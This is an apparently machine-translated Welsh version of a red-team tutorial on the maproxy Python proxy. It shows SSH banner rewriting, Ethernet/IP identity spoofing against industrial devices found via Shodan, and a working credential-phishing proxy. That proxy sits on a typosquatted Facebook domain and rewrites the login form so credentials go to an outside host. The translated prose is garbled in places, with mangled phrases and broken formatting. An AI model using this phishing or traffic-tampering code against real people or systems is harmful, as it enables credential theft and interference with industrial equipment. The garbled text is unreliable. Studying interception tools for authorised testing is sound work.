Paratowyd y cyfieithiad o'r erthygl ar y noson cyn dechrau'r cwrs
Abstract
Mae amrywiaeth o fathau o asesiadau diogelwch, sy'n amrywio o brofion treiddiad rheolaidd a gweithrediadau'r Tîm Coch i hacio dyfeisiau IoT/ICS a SCADA, yn cynnwys gweithio gyda phrotocolau rhwydwaith deuaidd, hynny yw, yn y bôn yn rhyng-gipio ac yn addasu data rhwydwaith rhwng y cleient a'r targed. Nid yw arogli traffig rhwydwaith yn dasg anodd gan fod gennym offer fel Wireshark, Tcpdump neu Scapy, ond mae'n ymddangos bod addasu yn dasg fwy llafurddwys gan y bydd angen i ni gael rhyw fath o ryngwyneb i ddarllen data'r rhwydwaith, ei hidlo, ei newid mae'n hedfan a'i anfon yn ôl at y gwesteiwr targed mewn amser real bron. Yn ogystal, byddai'n ddelfrydol pe gallai offeryn o'r fath weithio'n awtomatig gyda chysylltiadau cyfochrog lluosog a bod modd ei addasu gan ddefnyddio sgriptiau.
Un diwrnod darganfyddais offeryn o'r enw
, roedd y ddogfennaeth yn ei gwneud yn glir i mi yn gyflym maproxy
- dim ond yr hyn sydd ei angen arnaf. Mae hwn yn ddirprwy TCP eithaf syml, amlbwrpas a hawdd ei ffurfweddu. Profais yr offeryn hwn ar sawl cymhwysiad eithaf cymhleth, gan gynnwys dyfeisiau ICS (sy'n cynhyrchu llawer o becynnau) i weld a allai drin llawer o gysylltiadau cyfochrog, a pherfformiodd yr offeryn yn dda.
Bydd yr erthygl hon yn eich cyflwyno i brosesu data rhwydwaith ar y hedfan gan ddefnyddio maproxy
.
Adolygu
Offeryn maproxy
yn seiliedig ar Tornado, fframwaith rhwydweithio asyncronaidd poblogaidd ac aeddfed yn Python.
Yn gyffredinol, gall weithredu mewn sawl dull:
TCP:TCP
- cysylltiadau TCP heb eu hamgryptio;TCP:SSL
иSSL:TCP
- gydag amgryptio unffordd;SSL:SSL
- amgryptio dwy ffordd.
Mae'n dod fel llyfrgell. I gael cychwyn cyflym, gallwch ddefnyddio ffeiliau enghreifftiol sy'n adlewyrchu'r prif
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Achos 1 – dirprwy deugyfeiriadol syml
Yn seiliedig ar tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Yn ddiofyn ProxyServer()
yn cymryd dwy ddadl - lleoliad y cysylltiad a'r porthladd targed. server.listen()
yn cymryd un ddadl - y porthladd ar gyfer gwrando ar y cysylltiad sy'n dod i mewn.
Gweithredu'r sgript:
# python tcp2tcp.py
Er mwyn rhedeg y prawf, rydyn ni'n mynd i gysylltu â gweinydd SSH lleol trwy ein sgript dirprwy, sy'n gwrando ar 2222/tcp
porthladd ac yn cysylltu â phorthladd safonol 22/tcp
Gweinyddwyr SSH:
Mae'r faner groeso yn eich hysbysu bod ein sgript enghreifftiol wedi llwyddo i ddirprwyo traffig rhwydwaith.
Achos 2 – addasu data
Sgript demo arall logging_proxy.py
yn ddelfrydol ar gyfer rhyngweithio â data rhwydwaith. Mae'r sylwadau yn y ffeil yn disgrifio'r dulliau dosbarth y gallwch eu haddasu i gyrraedd eich nod:
Mae'r peth mwyaf diddorol yma:
on_c2p_done_read
– i ryng-gipio data ar hyd y ffordd o'r cleient i'r gweinydd;on_p2s_done_read
- gwrthdroi.
Gadewch i ni geisio newid y faner SSH y mae'r gweinydd yn ei dychwelyd i'r cleient:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Gweithredu'r sgript:
Fel y gwelwch, cafodd y cleient ei gamarwain oherwydd newidiwyd enw'r gweinydd SSH iddo «DumnySSH»
.
Achos 3 – tudalen we gwe-rwydo syml
Mae yna ffyrdd diddiwedd o ddefnyddio'r offeryn hwn. Y tro hwn, gadewch i ni ganolbwyntio ar rywbeth mwy ymarferol o ochr gweithrediadau'r Tîm Coch. Gadewch i ni efelychu'r dudalen lanio m.facebook.com
a defnyddio parth wedi'i deilwra gyda theip bwriadol, er enghraifft, m.facebok.com
. At ddibenion arddangos, gadewch i ni dybio bod y parth wedi'i gofrestru gennym ni.
Rydyn ni'n mynd i sefydlu cysylltiad rhwydwaith heb ei amgryptio gyda'n dirprwy ddioddefwyr a SSL Stream i'r gweinydd Facebook (31.13.81.36
). Er mwyn gwneud i'r enghraifft hon weithio, mae angen i ni ddisodli'r pennawd gwesteiwr HTTP a chwistrellu'r enw gwesteiwr cywir, a byddwn hefyd yn analluogi cywasgu ymateb fel y gallwn gyrchu'r cynnwys yn hawdd. Yn y pen draw byddwn yn disodli'r ffurflen HTML fel bod y manylion mewngofnodi yn cael eu hanfon atom yn lle gweinyddwyr Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/cy/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
I grynhoi:
Fel y gallwch weld, rydym wedi llwyddo i newid y safle gwreiddiol.
Achos 4 – Cludo Ethernet/IP
Rwyf wedi bod yn delio â dyfeisiau a meddalwedd diwydiannol (ICS/SCADA) ers cryn amser, fel rheolwyr rhaglenadwy (PLC), modiwlau I/O, gyriannau, releiau, amgylcheddau rhaglennu ysgolion a llawer mwy. Mae'r achos hwn ar gyfer y rhai sy'n hoffi pethau diwydiannol. Mae hacio atebion o'r fath yn golygu chwarae gyda phrotocolau rhwydwaith. Yn yr enghraifft ganlynol, hoffwn ddangos sut y gallwch chi addasu traffig rhwydwaith ICS/SCADA.
Ar gyfer hyn bydd angen y canlynol arnoch:
- Synhwyrydd rhwydwaith, er enghraifft, Wireshark;
- Ethernet/IP neu ddyfais SIP yn unig, gallwch ddod o hyd iddo gan ddefnyddio gwasanaeth Shodan;
- Mae ein sgript yn seiliedig ar
maproxy
.
Yn gyntaf, gadewch i ni edrych ar sut beth yw ymateb adnabod nodweddiadol gan CIP (Protocol Diwydiannol Cyffredin):
Cyflawnir adnabod dyfais gan ddefnyddio'r protocol Ethernet / IP, sy'n fersiwn well o'r protocol Ethernet diwydiannol sy'n lapio protocolau rheoli fel CIP. Rydyn ni'n mynd i newid yr enw ID sydd wedi'i amlygu sydd i'w weld yn y sgrinlun "NI-IndComm ar gyfer Ethernet" defnyddio ein sgript dirprwy. Gallem ailddefnyddio'r sgript logging_proxy.py
ac yn yr un modd yn addasu dull y dosbarth on_p2s_done_read
, oherwydd ein bod am i enw hunaniaeth gwahanol fod yn weladwy ar y cleient.
Côd:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Yn y bôn, gofynnom am adnabod dyfais ddwywaith, yr ail ymateb oedd yr un gwreiddiol, ac addaswyd yr un cyntaf ar y hedfan.
A'r olaf
Yn fy marn i maproxy
Offeryn cyfleus a syml, sydd hefyd wedi'i ysgrifennu yn Python, felly credaf y gallwch chithau hefyd elwa o'i ddefnyddio. Wrth gwrs, mae offer mwy cymhleth ar gyfer prosesu ac addasu data rhwydwaith, ond mae angen mwy o sylw arnynt hefyd ac fel arfer cânt eu creu ar gyfer achos defnydd penodol, e.e. maproxy
gallwch chi weithredu'ch syniadau ar gyfer rhyng-gipio data rhwydwaith yn gyflym, gan fod y sgriptiau enghreifftiol yn glir iawn.
Ffynhonnell: hab.com